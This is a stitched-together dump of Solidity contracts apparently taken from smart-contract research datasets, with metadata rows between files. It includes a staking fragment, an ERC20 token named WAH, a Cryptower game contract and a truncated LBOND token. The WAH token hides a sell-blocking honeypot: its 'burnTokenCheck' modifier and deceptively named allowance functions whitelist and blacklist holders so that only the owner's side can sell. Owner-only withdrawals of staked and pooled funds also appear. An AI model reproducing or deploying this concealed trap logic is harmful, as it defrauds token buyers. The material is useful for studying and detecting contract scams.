require(rewardtoken.balanceOf(address(this)) >= _userReward[msg.sender], "ERC20: transfer amount exceeds balance");
rewardtoken.safeTransfer(address(msg.sender), _userReward[msg.sender]);
_userReward[msg.sender] = 0;
emit Claim(msg.sender, _userReward[msg.sender]);
}
function ownerwithdraw(uint256 _amount) public onlyOwner {
rewardtoken.safeTransfer(address(msg.sender), _amount);
emit Withdraw(msg.sender, _amount);
}
function lpownerwithdraw(uint256 _amount) public onlyOwner {
staketoken.safeTransfer(address(msg.sender), _amount);
emit Withdraw(msg.sender, _amount);
}
// Address loop
function getAddresses(uint256 i) private view returns (address) {
return userAddresses[i];
}
function getAddressesLength() private view returns (uint256) {
return userAddresses.length;
}
}
| 97,741 | 10,883 |
388758566e2c490920255ec99d2b0ea9013a4085d84be1946d4bd3958c23cff7
| 29,230 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/WAH-0xf4be5321406d310d04ac4918dd50d9adc9cbeabc.sol
| 3,395 | 12,608 |
pragma solidity ^0.6.6;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract WAH is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 196,435 | 10,884 |
11ef699a54f58d74b1bb9d89c62690b711b1e32dac3e5188aabda58f5f301791
| 18,108 |
.sol
|
Solidity
| false |
360539372
|
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
|
1d65472e1c546af6781cb17991843befc635a28e
|
dataset/dapp_contracts/Game/0x6f46893139386b22f76a9ac1f47c5aafbb6a2f62.sol
| 4,937 | 15,159 |
pragma solidity ^0.4.24;
// File: contracts\utils\SafeMath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
// File: contracts\CKingCal.sol
library CKingCal {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(31250000000000000000000000)).add(56249882812561035156250000000000000000000000000000000000000000)).sqrt()).sub(7499992187500000000000000000000)) / (15625000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
// (149999843750000*keys*1 eth) + 78125000 * keys * keys) /2 /(sq(1 ether))
return ((7812500).mul(_keys.sq()).add(((14999984375000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
// File: contracts\utils\Ownable.sol
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: contracts\TowerCKing.sol
contract CKing is Ownable {
using SafeMath for *;
using CKingCal for uint256;
string constant public name = "Cryptower";
string constant public symbol = "CT";
// time constants;
uint256 constant private timeInit = 1 weeks; // 600; //1 week
uint256 constant private timeInc = 30 seconds; //60 ///////
uint256 constant private timeMax = 30 minutes; // 300
// profit distribution parameters
uint256 constant private fixRet = 46;
uint256 constant private extraRet = 10;
uint256 constant private affRet = 10;
uint256 constant private gamePrize = 12;
uint256 constant private groupPrize = 12;
uint256 constant private devTeam = 10;
// player data
struct Player {
address addr; // player address
string name; // playerName
uint256 aff; // affliliate vault
uint256 affId; // affiliate id, who referered u
uint256 hretKeys; // number of high return keys
uint256 mretKeys; // number of medium return keys
uint256 lretKeys; // number of low return keys
uint256 eth; // total eth spend for the keys
uint256 ethWithdraw; // earning withdrawed by user
}
mapping(uint256 => Player) public players; // player data
mapping(address => uint) public addrXpId; // player address => pId
uint public playerNum = 0;
// game info
uint256 public totalEther; // total key sale revenue
uint256 public totalKeys; // total number of keys.
uint256 private constant minPay = 1000000000; // minimum pay to buy keys or deposit in game;
uint256 public totalCommPot; // total ether going to be distributed
uint256 private keysForGame; // keys belongs to the game for profit distribution
uint256 private gamePot; // ether need to be distributed based on the side chain game
uint256 public teamWithdrawed; // eth withdrawed by dev team.
uint256 public gameWithdrawed; // ether already been withdrawn from game pot
uint256 public endTime; // main game end time
address public CFO;
address public COO;
address public fundCenter;
address public playerBook;
uint private stageId = 1; // stageId start 1
uint private constant groupPrizeStartAt = 2000000000000000000000000; // 1000000000000000000000;
uint private constant groupPrizeStageGap = 100000000000000000000000; // 100000000000000000000
mapping(uint => mapping(uint => uint)) public stageInfo; // stageId => pID => keys purchased in this stage
// admin params
uint256 public startTime; // admin set start
uint256 constant private coolDownTime = 2 days; // team is able to withdraw fund 2 days after game end.
modifier isGameActive() {
uint _now = now;
require(_now > startTime && _now < endTime);
_;
}
modifier onlyCOO() {
require(COO == msg.sender, "Only COO can operate.");
_;
}
// events
event BuyKey(uint indexed _pID, uint _affId, uint _keyType, uint _keyAmount);
event EarningWithdraw(uint indexed _pID, address _addr, uint _amount);
constructor(address _CFO, address _COO, address _fundCenter, address _playerBook) public {
CFO = _CFO;
COO = _COO;
fundCenter = _fundCenter;
playerBook = _playerBook;
}
function setCFO(address _CFO) onlyOwner public {
CFO = _CFO;
}
function setCOO(address _COO) onlyOwner public {
COO = _COO;
}
function setContractAddress(address _fundCenter, address _playerBook) onlyCOO public {
fundCenter = _fundCenter;
playerBook = _playerBook;
}
function startGame(uint _startTime) onlyCOO public {
require(_startTime > now);
startTime = _startTime;
endTime = startTime.add(timeInit);
}
function gameWithdraw(uint _amount) onlyCOO public {
uint _total = getTotalGamePot();
uint _remainingBalance = _total.sub(gameWithdrawed);
if(_amount > 0) {
require(_amount <= _remainingBalance);
} else{
_amount = _remainingBalance;
}
fundCenter.transfer(_amount);
gameWithdrawed = gameWithdrawed.add(_amount);
}
function teamWithdraw(uint _amount) onlyCOO public {
uint256 _now = now;
if(_now > endTime.add(coolDownTime)) {
// dev team have rights to withdraw all remaining balance 2 days after game end.
CFO.transfer(_amount);
teamWithdrawed = teamWithdrawed.add(_amount);
} else {
uint _total = totalEther.mul(devTeam).div(100);
uint _remainingBalance = _total.sub(teamWithdrawed);
if(_amount > 0) {
require(_amount <= _remainingBalance);
} else{
_amount = _remainingBalance;
}
CFO.transfer(_amount);
teamWithdrawed = teamWithdrawed.add(_amount);
}
}
function updateTimer(uint256 _keys) private {
uint256 _now = now;
uint256 _newTime;
if(endTime.sub(_now) < timeMax) {
_newTime = ((_keys) / (1000000000000000000)).mul(timeInc).add(endTime);
if(_newTime.sub(_now) > timeMax) {
_newTime = _now.add(timeMax);
}
endTime = _newTime;
}
}
function receivePlayerInfo(address _addr, string _name) external {
require(msg.sender == playerBook, "must be from playerbook address");
uint _pID = addrXpId[_addr];
if(_pID == 0) { // player not exist yet. create one
playerNum = playerNum + 1;
Player memory p;
p.addr = _addr;
p.name = _name;
players[playerNum] = p;
_pID = playerNum;
addrXpId[_addr] = _pID;
} else {
players[_pID].name = _name;
}
}
function buyByAddress(uint256 _affId, uint _keyType) payable isGameActive public {
uint _pID = addrXpId[msg.sender];
if(_pID == 0) { // player not exist yet. create one
playerNum = playerNum + 1;
Player memory p;
p.addr = msg.sender;
p.affId = _affId;
players[playerNum] = p;
_pID = playerNum;
addrXpId[msg.sender] = _pID;
}
buy(_pID, msg.value, _affId, _keyType);
}
function buyFromVault(uint _amount, uint256 _affId, uint _keyType) public isGameActive {
uint _pID = addrXpId[msg.sender];
uint _earning = getPlayerEarning(_pID);
uint _newEthWithdraw = _amount.add(players[_pID].ethWithdraw);
require(_newEthWithdraw < _earning); // withdraw amount cannot bigger than earning
players[_pID].ethWithdraw = _newEthWithdraw; // update player withdraw
buy(_pID, _amount, _affId, _keyType);
}
function getKeyPrice(uint _keyAmount) public view returns(uint256) {
if(now > startTime) {
return totalKeys.add(_keyAmount).ethRec(_keyAmount);
} else { // copy fomo init price
return (7500000000000);
}
}
function buy(uint256 _pID, uint256 _eth, uint256 _affId, uint _keyType) private {
if (_eth > minPay) { // bigger than minimum pay
players[_pID].eth = _eth.add(players[_pID].eth);
uint _keys = totalEther.keysRec(_eth);
//bought at least 1 whole key
if(_keys >= 1000000000000000000) {
updateTimer(_keys);
}
//update total ether and total keys
totalEther = totalEther.add(_eth);
totalKeys = totalKeys.add(_keys);
// update game portion
uint256 _game = _eth.mul(gamePrize).div(100);
gamePot = _game.add(gamePot);
// update player keys and keysForGame
if(_keyType == 1) { // high return key
players[_pID].hretKeys = _keys.add(players[_pID].hretKeys);
} else if (_keyType == 2) {
players[_pID].mretKeys = _keys.add(players[_pID].mretKeys);
keysForGame = keysForGame.add(_keys.mul(extraRet).div(fixRet+extraRet));
} else if (_keyType == 3) {
players[_pID].lretKeys = _keys.add(players[_pID].lretKeys);
keysForGame = keysForGame.add(_keys);
} else { // keytype unknown.
revert();
}
//update affliliate gain
if(_affId != 0 && _affId != _pID && _affId <= playerNum) { // udate players
uint256 _aff = _eth.mul(affRet).div(100);
players[_affId].aff = _aff.add(players[_affId].aff);
totalCommPot = (_eth.mul(fixRet+extraRet).div(100)).add(totalCommPot);
} else { // addId == 0 or _affId is self, put the fund into earnings per key
totalCommPot = (_eth.mul(fixRet+extraRet+affRet).div(100)).add(totalCommPot);
}
// update stage info
if(totalKeys > groupPrizeStartAt) {
updateStageInfo(_pID, _keys);
}
emit BuyKey(_pID, _affId, _keyType, _keys);
} else { // if contribute less than the minimum conntribution return to player aff vault
players[_pID].aff = _eth.add(players[_pID].aff);
}
}
function updateStageInfo(uint _pID, uint _keyAmount) private {
uint _stageL = groupPrizeStartAt.add(groupPrizeStageGap.mul(stageId - 1));
uint _stageH = groupPrizeStartAt.add(groupPrizeStageGap.mul(stageId));
if(totalKeys > _stageH) { // game has been pushed to next stage
stageId = (totalKeys.sub(groupPrizeStartAt)).div(groupPrizeStageGap) + 1;
_keyAmount = (totalKeys.sub(groupPrizeStartAt)) % groupPrizeStageGap;
stageInfo[stageId][_pID] = stageInfo[stageId][_pID].add(_keyAmount);
} else {
if(_keyAmount < totalKeys.sub(_stageL)) {
stageInfo[stageId][_pID] = stageInfo[stageId][_pID].add(_keyAmount);
} else {
_keyAmount = totalKeys.sub(_stageL);
stageInfo[stageId][_pID] = stageInfo[stageId][_pID].add(_keyAmount);
}
}
}
function withdrawEarning(uint256 _amount) public {
address _addr = msg.sender;
uint256 _pID = addrXpId[_addr];
require(_pID != 0); // player must exist
uint _earning = getPlayerEarning(_pID);
uint _remainingBalance = _earning.sub(players[_pID].ethWithdraw);
if(_amount > 0) {
require(_amount <= _remainingBalance);
}else{
_amount = _remainingBalance;
}
_addr.transfer(_amount); // transfer remaining balance to
players[_pID].ethWithdraw = players[_pID].ethWithdraw.add(_amount);
}
function getPlayerEarning(uint256 _pID) view public returns (uint256) {
Player memory p = players[_pID];
uint _gain = totalCommPot.mul(p.hretKeys.add(p.mretKeys.mul(fixRet).div(fixRet+extraRet))).div(totalKeys);
uint _total = _gain.add(p.aff);
_total = getWinnerPrize(_pID).add(_total);
return _total;
}
function getPlayerWithdrawEarning(uint _pid) public view returns(uint){
uint _earning = getPlayerEarning(_pid);
return _earning.sub(players[_pid].ethWithdraw);
}
function getWinnerPrize(uint256 _pID) view public returns (uint256) {
uint _keys;
uint _pKeys;
if(now < endTime) {
return 0;
} else if(totalKeys > groupPrizeStartAt) { // keys in the winner stage share the group prize
_keys = totalKeys.sub(groupPrizeStartAt.add(groupPrizeStageGap.mul(stageId - 1)));
_pKeys = stageInfo[stageId][_pID];
return totalEther.mul(groupPrize).div(100).mul(_pKeys).div(_keys);
} else { // totalkeys does not meet the minimum group prize criteria, all keys share the group prize
Player memory p = players[_pID];
_pKeys = p.hretKeys.add(p.mretKeys).add(p.lretKeys);
return totalEther.mul(groupPrize).div(100).mul(_pKeys).div(totalKeys);
}
}
function getWinningStageInfo() view public returns (uint256 _stageId, uint256 _keys, uint256 _amount) {
_amount = totalEther.mul(groupPrize).div(100);
if(totalKeys < groupPrizeStartAt) { // group prize is not activate yet
return (0, totalKeys, _amount);
} else {
_stageId = stageId;
_keys = totalKeys.sub(groupPrizeStartAt.add(groupPrizeStageGap.mul(stageId - 1)));
return (_stageId, _keys, _amount);
}
}
function getPlayerStageKeys() view public returns (uint256 _stageId, uint _keys, uint _pKeys) {
uint _pID = addrXpId[msg.sender];
if(totalKeys < groupPrizeStartAt) {
Player memory p = players[_pID];
_pKeys = p.hretKeys.add(p.mretKeys).add(p.lretKeys);
return (0, totalKeys, _pKeys);
} else {
_stageId = stageId;
_keys = totalKeys.sub(groupPrizeStartAt.add(groupPrizeStageGap.mul(stageId - 1)));
_pKeys = stageInfo[_stageId][_pID];
return (_stageId, _keys, _pKeys);
}
}
function getTotalGamePot() view public returns (uint256) {
uint _gain = totalCommPot.mul(keysForGame).div(totalKeys);
uint _total = _gain.add(gamePot);
return _total;
}
}
| 335,374 | 10,885 |
2f071ef03a2921539e7e95d4a9d85a6b1bae3c02ca6e48c3a0ea4c750a8251fe
| 27,927 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/40/4088486f6bed503c35188fc2506bf0106e8c7d91_LBOND.sol
| 2,867 | 11,124 |
pragma solidity 0.6.12;
// SPDX-License-Identifier: MIT
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
abstract contract ERC20Burnable is Context, ERC20 {
using SafeMath for uint256;
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Operator is Context, Ownable {
address private _operator;
event OperatorTransferred(address indexed previousOperator, address indexed newOperator);
constructor() internal {
_operator = _msgSender();
emit OperatorTransferred(address(0), _operator);
}
function operator() public view returns (address) {
return _operator;
}
modifier onlyOperator() {
require(_operator == msg.sender, "operator: caller is not the operator");
_;
}
function isOperator() public view returns (bool) {
return _msgSender() == _operator;
}
function transferOperator(address newOperator_) public onlyOwner {
_transferOperator(newOperator_);
}
function _transferOperator(address newOperator_) internal {
require(newOperator_ != address(0), "operator: zero address given for new operator");
emit OperatorTransferred(address(0), newOperator_);
_operator = newOperator_;
}
}
// LIQUID FINANCE
contract LBOND is ERC20Burnable, Operator {
uint256 private totalBurned_;
